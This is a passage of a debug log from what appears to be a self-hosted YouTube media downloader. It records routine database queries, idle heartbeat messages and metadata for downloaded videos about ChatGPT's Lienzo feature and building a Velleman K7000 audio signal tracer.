s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:07:26.580 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=793.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:07:26.581 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=793.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 20:04:28Z], 2] 23:07:26.583 [debug] QUERY OK source="media_items" db=1.0ms idle=795.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 9: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT permitiendo a los usuarios modificar respuestas directamente. Edita, añade contenido y personaliza como nunca antes. ¡Transforma tu experiencia con ChatGPT ahora! #ChatGPT #Lienzo #IA #InteligenciaArtificial #EdicionDeTexto #Productividad #Innovacion #HerramientasDigitales #Personalizacion #Automatizacion", "¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS", "bf68cf95-cde6-4dcf-8117-b70a5033ec78", 33, false, "Zpev9BnOLeY", "https://www.youtube.com/shorts/Zpev9BnOLeY", 26, "/downloads/music/IA mí QUÉ/¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS.m4a", false, false, true, 2, [], 96, ~U[2025-05-10 20:04:28Z], ~U[2026-02-07 22:07:26Z], ~U[2026-02-07 22:07:26Z], "PARTE 9: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT permitiendo a los usuarios modificar respuestas directamente. Edita, añade contenido y personaliza como nunca antes. ¡Transforma tu experiencia con ChatGPT ahora! #ChatGPT #Lienzo #IA #InteligenciaArtificial #EdicionDeTexto #Productividad #Innovacion #HerramientasDigitales #Personalizacion #Automatizacion", "¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS", 33, false, "Zpev9BnOLeY", "https://www.youtube.com/shorts/Zpev9BnOLeY", "/downloads/music/IA mí QUÉ/¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS.m4a", true, 2, ~U[2025-05-10 20:04:28Z]] 23:07:26.583 [debug] QUERY OK source="sources" db=0.5ms idle=353.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:07:26.584 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:07:26.585 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1411] 23:07:26.585 [debug] Current batch of media processed. Will check again in 1000ms 23:07:26.670 [debug] Current batch of media processed. Will check again in 1000ms 23:07:27.586 [debug] Current batch of media processed. Will check again in 1000ms 23:07:27.671 [debug] Current batch of media processed. Will check again in 1000ms 23:07:28.587 [debug] Current batch of media processed. Will check again in 1000ms 23:07:28.672 [debug] Current batch of media processed. Will check again in 1000ms 23:07:29.588 [debug] Current batch of media processed. Will check again in 1000ms 23:07:29.673 [debug] Current batch of media processed. Will check again in 1000ms 23:07:30.589 [debug] Current batch of media processed. Will check again in 1000ms 23:07:30.674 [debug] Current batch of media processed. Will check again in 1000ms 23:07:31.590 [debug] Current batch of media processed. Will check again in 1000ms 23:07:31.675 [debug] Current batch of media processed. Will check again in 1000ms 23:07:32.591 [debug] Current batch of media processed. Will check again in 1000ms 23:07:32.676 [debug] Current batch of media processed. Will check again in 1000ms 23:07:33.592 [debug] Current batch of media processed. Will check again in 1000ms 23:07:33.677 [debug] Current batch of media processed. Will check again in 1000ms 23:07:34.593 [debug] Current batch of media processed. Will check again in 1000ms 23:07:34.678 [debug] Current batch of media processed. Will check again in 1000ms 23:07:35.594 [debug] Current batch of media processed. Will check again in 1000ms 23:07:35.679 [debug] Current batch of media processed. Will check again in 1000ms 23:07:36.595 [debug] Current batch of media processed. Will check again in 1000ms 23:07:36.680 [debug] Current batch of media processed. Will check again in 1000ms 23:07:37.596 [debug] Current batch of media processed. Will check again in 1000ms 23:07:37.681 [debug] Current batch of media processed. Will check again in 1000ms 23:07:38.597 [debug] Current batch of media processed. Will check again in 1000ms 23:07:38.682 [debug] Current batch of media processed. Will check again in 1000ms 23:07:39.598 [debug] Current batch of media processed. Will check again in 1000ms 23:07:39.683 [debug] Current batch of media processed. Will check again in 1000ms 23:07:40.599 [debug] Current batch of media processed. Will check again in 1000ms 23:07:40.684 [debug] Current batch of media processed. Will check again in 1000ms 23:07:41.600 [debug] Current batch of media processed. Will check again in 1000ms 23:07:41.685 [debug] Current batch of media processed. Will check again in 1000ms 23:07:42.601 [debug] Current batch of media processed. Will check again in 1000ms 23:07:42.686 [debug] Current batch of media processed. Will check again in 1000ms 23:07:43.602 [debug] Current batch of media processed. Will check again in 1000ms 23:07:43.687 [debug] Current batch of media processed. Will check again in 1000ms 23:07:44.603 [debug] Current batch of media processed. Will check again in 1000ms 23:07:44.688 [debug] Current batch of media processed. Will check again in 1000ms 23:07:45.604 [debug] Current batch of media processed. Will check again in 1000ms 23:07:45.689 [debug] Current batch of media processed. Will check again in 1000ms 23:07:46.605 [debug] Current batch of media processed. Will check again in 1000ms 23:07:46.690 [debug] Current batch of media processed. Will check again in 1000ms 23:07:47.606 [debug] Current batch of media processed. Will check again in 1000ms 23:07:47.691 [debug] Current batch of media processed. Will check again in 1000ms 23:07:48.607 [debug] Current batch of media processed. Will check again in 1000ms 23:07:48.692 [debug] Current batch of media processed. Will check again in 1000ms 23:07:49.608 [debug] Current batch of media processed. Will check again in 1000ms 23:07:49.693 [debug] Current batch of media processed. Will check again in 1000ms 23:07:50.609 [debug] Current batch of media processed. Will check again in 1000ms 23:07:50.694 [debug] Current batch of media processed. Will check again in 1000ms 23:07:51.347 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:51.610 [debug] Current batch of media processed. Will check again in 1000ms 23:07:51.695 [debug] Current batch of media processed. Will check again in 1000ms 23:07:52.611 [debug] Current batch of media processed. Will check again in 1000ms 23:07:52.696 [debug] Current batch of media processed. Will check again in 1000ms 23:07:53.612 [debug] Current batch of media processed. Will check again in 1000ms 23:07:53.697 [debug] Current batch of media processed. Will check again in 1000ms 23:07:54.613 [debug] Current batch of media processed. Will check again in 1000ms 23:07:54.698 [debug] Current batch of media processed. Will check again in 1000ms 23:07:55.614 [debug] Current batch of media processed. Will check again in 1000ms 23:07:55.699 [debug] Current batch of media processed. Will check again in 1000ms 23:07:56.615 [debug] Current batch of media processed. Will check again in 1000ms 23:07:56.700 [debug] Current batch of media processed. Will check again in 1000ms 23:07:57.616 [debug] Current batch of media processed. Will check again in 1000ms 23:07:57.701 [debug] Current batch of media processed. Will check again in 1000ms 23:07:58.617 [debug] Current batch of media processed. Will check again in 1000ms 23:07:58.702 [debug] Current batch of media processed. Will check again in 1000ms 23:07:59.618 [debug] Current batch of media processed. Will check again in 1000ms 23:07:59.703 [debug] Current batch of media processed. Will check again in 1000ms 23:08:00.151 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:00.619 [debug] Current batch of media processed. Will check again in 1000ms 23:08:00.704 [debug] Current batch of media processed. Will check again in 1000ms 23:08:01.620 [debug] Current batch of media processed. Will check again in 1000ms 23:08:01.705 [debug] Current batch of media processed. Will check again in 1000ms 23:08:02.621 [debug] Current batch of media processed. Will check again in 1000ms 23:08:02.706 [debug] Current batch of media processed. Will check again in 1000ms 23:08:03.622 [debug] Current batch of media processed. Will check again in 1000ms 23:08:03.707 [debug] Current batch of media processed. Will check again in 1000ms 23:08:04.623 [debug] Current batch of media processed. Will check again in 1000ms 23:08:04.708 [debug] Current batch of media processed. Will check again in 1000ms 23:08:05.624 [debug] Current batch of media processed. Will check again in 1000ms 23:08:05.709 [debug] Current batch of media processed. Will check again in 1000ms 23:08:06.625 [debug] Current batch of media processed. Will check again in 1000ms 23:08:06.710 [debug] Current batch of media processed. Will check again in 1000ms 23:08:07.626 [debug] Current batch of media processed. Will check again in 1000ms 23:08:07.711 [debug] Current batch of media processed. Will check again in 1000ms 23:08:08.627 [debug] Current batch of media processed. Will check again in 1000ms 23:08:08.712 [debug] Current batch of media processed. Will check again in 1000ms 23:08:09.628 [debug] Current batch of media processed. Will check again in 1000ms 23:08:09.713 [debug] Current batch of media processed. Will check again in 1000ms 23:08:10.629 [debug] Current batch of media processed. Will check again in 1000ms 23:08:10.714 [debug] Current batch of media processed. Will check again in 1000ms 23:08:11.630 [debug] Current batch of media processed. Will check again in 1000ms 23:08:11.715 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a montar un inyector + seguidor de señales de audio, muy útil para el diagnóstico de equipos de audio o pasos de audio en nuestras emisoras.\n\nEl manual de montaje está en:\n\nhttps://www.velleman.eu/downloads/0/illustrated/illustrated_assembly_manual_k7000.pdf\n\nY el kit se puede comprar en múltiples sitios. Si haceis una búsqueda en Google por \"signal tracer velleman\" os saldrán.\n\n#velleman #signaltracer #diyelectronics #hamradio #radioaficionados #laboratorioelectronica #soldando #reparacion\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:20 - Intro Canal\n01:39 - Velleman K7000\n06:51 - Diodos\n08:44 - Resistencias\n09:00 - Zocalo LM386\n10:49 - Condensadores\n11:50 - Transistores\n13:28 - Pines\n13:54 - Condensadores (2)\n14:13 - Electrolíticos\n14:54 - Potenciómetros\n15:46 - Primer encendido\n19:42 - Mecanizado\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1353, "filename" => "/downloads/music/ea3grn/098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES.m4a", "id" => "nHTNwm1pLtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nHTNwm1pLtA", "playlist_index" => 83, "timestamp" => 1675961274, "title" => "098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES", "upload_date" => "20230209"} 23:08:11.716 [debug] QUERY OK source="sources" db=0.5ms idle=1929.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:08:11.717 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1930.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:08:11.718 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1930.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-09 16:47:54Z], 3] 23:08:11.720 [debug] QUERY OK source="media_items" db=1.3ms idle=1403.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a montar un inyector + seguidor de señales de audio, muy útil para el diagnóstico de equipos de audio o pasos de audio en nuestras emisoras.\n\nEl manual de montaje está en:\n\nhttps://www.velleman.eu/downloads/0/illustrated/illustrated_assembly_manual_k7000.pdf\n\nY el kit se puede comprar en múltiples sitios. Si haceis una búsqueda en Google por \"signal tracer velleman\" os saldrán.\n\n#velleman #signaltracer #diyelectronics #hamradio #radioaficionados #laboratorioelectronica #soldando #reparacion\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:20 - Intro Canal\n01:39 - Velleman K7000\n06:51 - Diodos\n08:44 - Resistencias\n09:00 - Zocalo LM386\n10:49 - Condensadores\n11:50 - Transistores\n13:28 - Pines\n13:54 - Condensadores (2)\n14:13 - Electrolíticos\n14:54 - Potenciómetros\n15:46 - Primer encendido\n19:42 - Mecanizado\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES", "ff19753d-f2e5-477b-8e1c-3e44481e8bd2", 1353, false, "nHTNwm1pLtA", "https://www.youtube.com/watch?v=nHTNwm1pLtA", 83, "/downloads/music/ea3grn/098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES.m4a", false, false, false, 3, [], 98, ~U[2023-02-09 16:47:54Z], ~U[2026-02-07 22:08:11Z], ~U[2026-02-07 22:08:11Z], "Vamos a montar un inyector + seguidor de señales de audio, muy útil para el diagnóstico de equipos de audio o pasos de audio en nuestras emisoras.\n\nEl manual de montaje está en:\n\nhttps://www.velleman.eu/downloads/0/illustrated/illustrated_assembly_manual_k7000.pdf\n\nY el kit se puede comprar en múltiples sitios. Si haceis una búsqueda en Google por \"signal tracer velleman\" os saldrán.\n\n#velleman #signaltracer #diyelectronics #hamradio #radioaficionados #laboratorioelectronica #soldando #reparacion\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:20 - Intro Canal\n01:39 - Velleman K7000\n06:51 - Diodos\n08:44 - Resistencias\n09:00 - Zocalo LM386\n10:49 - Condensadores\n11:50 - Transistores\n13:28 - Pines\n13:54 - Condensadores (2)\n14:13 - Electrolíticos\n14:54 - Potenciómetros\n15:46 - Primer encendido\n19:42 - Mecanizado\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES", 1353, false, "nHTNwm1pLtA", "https://www.youtube.com/watch?v=nHTNwm1pLtA", "/downloads/music/ea3grn/098-MONTANDO SIGNAL TRACER VELLEMAN K7000 SEGUIDOR SEÑALES.m4a", false, 3, ~U[2023-02-09 16:47:54Z]] 23:08:11.721 [debug] QUERY OK source="sources" db=0.5ms idle=404.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:08:11.721 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:08:11.722 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1473] 23:08:11.722 [debug] Current batch of media processed. Will check again in 1000ms 23:08:12.631 [debug] Current batch of media processed. Will check again in 1000ms 23:08:12.723 [debug] Current batch of media processed. Will check again in 1000ms 23:08:13.632 [debug] Current batch of media processed. Will check again in 1000ms 23:08:13.724 [debug] Current batch of media processed. Will check again in 1000ms 23:08:14.633 [debug] Current batch of media processed. Will check again in 1000ms 23:08:14.725 [debug] Current batch of media processed. Will check again in 1000ms 23:08:15.634 [debug] Current batch of media processed. Will check again in 1000ms 23:08:15.726 [debug] Current batch of media processed. Will check again in 1000ms 23:08:16.635 [debug] Current batch of media processed. Will check again in 1000ms 23:08:16.727 [debug] Current batch of media processed. Will check again in 1000ms 23:08:17.636 [debug] Current batch of media processed. Will check again in 1000ms 23:08:17.728 [debug] Current batch of media processed. Will check again in 1000ms 23:08:18.637 [debug] Current batch of media processed. Will check again in 1000ms 23:08:18.729 [debug] Current batch of media processed. Will check again in 1000ms 23:08:19.638 [debug] Current batch of media processed. Will check again in 1000ms 23:08:19.730 [debug] Current batch of media processed. Will check again in 1000ms 23:08:20.639 [debug] Current batch of media processed. Will check again in 1000ms 23:08:20.731 [debug] Current batch of media processed. Will check again in 1000ms 23:08:21.349 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:21.640 [debug] Current batch of media processed. Will check again in 1000ms 23:08:21.732 [debug] Current batch of media processed. Will check again in 1000ms 23:08:22.641 [debug] Current batch of media processed. Will check again in 1000ms 23:08:22.733 [debug] Current batch of media processed. Will check again in 1000ms 23:08:23.642 [debug] Current batch of media processed. Will check again in 1000ms 23:08:23.734 [debug] Current batch of media processed. Will check again in 1000ms 23:08:24.643 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 8: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT, permitiendo modificar respuestas y agregar secciones con bibliografía. ¡Aprende a optimizar tus documentos y obtener resúmenes precisos! Mejora tu experiencia con ChatGPT y lleva tus textos al siguiente nivel. #ChatGPT #Lienzo #InteligenciaArtificial #ModificarRespuestas #ResúmenesAutomáticos #Productividad #EdiciónDeTextos #Bibliografía #IA #Documentos", "duration" => 33, "filename" => "/downloads/music/IA mí QUÉ/¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente.m4a", "id" => "6L4nu4-Z8tQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/6L4nu4-Z8tQ", "playlist_index" => 27, "timestamp" => 1746878307, "title" => "¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente", "upload_date" => "20250510"} 23:08:24.644 [debug] QUERY OK source="sources" db=0.9ms idle=1857.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:08:24.645 [debug] QUERY OK source="sources" db=0.5ms idle=1858.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:08:24.646 [debug] QUERY OK source="media_items" db=0.8ms idle=1859.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 11:58:27Z], 2] 23:08:24.648 [debug] QUERY OK source="media_items" db=0.9ms idle=1307.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 8: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT, permitiendo modificar respuestas y agregar secciones con bibliografía. ¡Aprende a optimizar tus documentos y obtener resúmenes precisos! Mejora tu experiencia con ChatGPT y lleva tus textos al siguiente nivel. #ChatGPT #Lienzo #InteligenciaArtificial #ModificarRespuestas #ResúmenesAutomáticos #Productividad #EdiciónDeTextos #Bibliografía #IA #Documentos", "¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente", "c0132c25-f144-440d-a40a-97afe327f91b", 33, false, "6L4nu4-Z8tQ", "https://www.youtube.com/shorts/6L4nu4-Z8tQ", 27, "/downloads/music/IA mí QUÉ/¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente.m4a", false, false, true, 2, [], 96, ~U[2025-05-10 11:58:27Z], ~U[2026-02-07 22:08:24Z], ~U[2026-02-07 22:08:24Z], "PARTE 8: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT, permitiendo modificar respuestas y agregar secciones con bibliografía. ¡Aprende a optimizar tus documentos y obtener resúmenes precisos! Mejora tu experiencia con ChatGPT y lleva tus textos al siguiente nivel. #ChatGPT #Lienzo #InteligenciaArtificial #ModificarRespuestas #ResúmenesAutomáticos #Productividad #EdiciónDeTextos #Bibliografía #IA #Documentos", "¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente", 33, false, "6L4nu4-Z8tQ", "https://www.youtube.com/shorts/6L4nu4-Z8tQ", "/downloads/music/IA mí QUÉ/¡Domina ChatGPT! Lienzo: Modifica, Resume y Amplía Textos Fácilmente.m4a", true, 2, ~U[2025-05-10 11:58:27Z]] 23:08:24.648 [debug] QUERY OK source="sources" db=0.5ms idle=306.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:08:24.649 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" 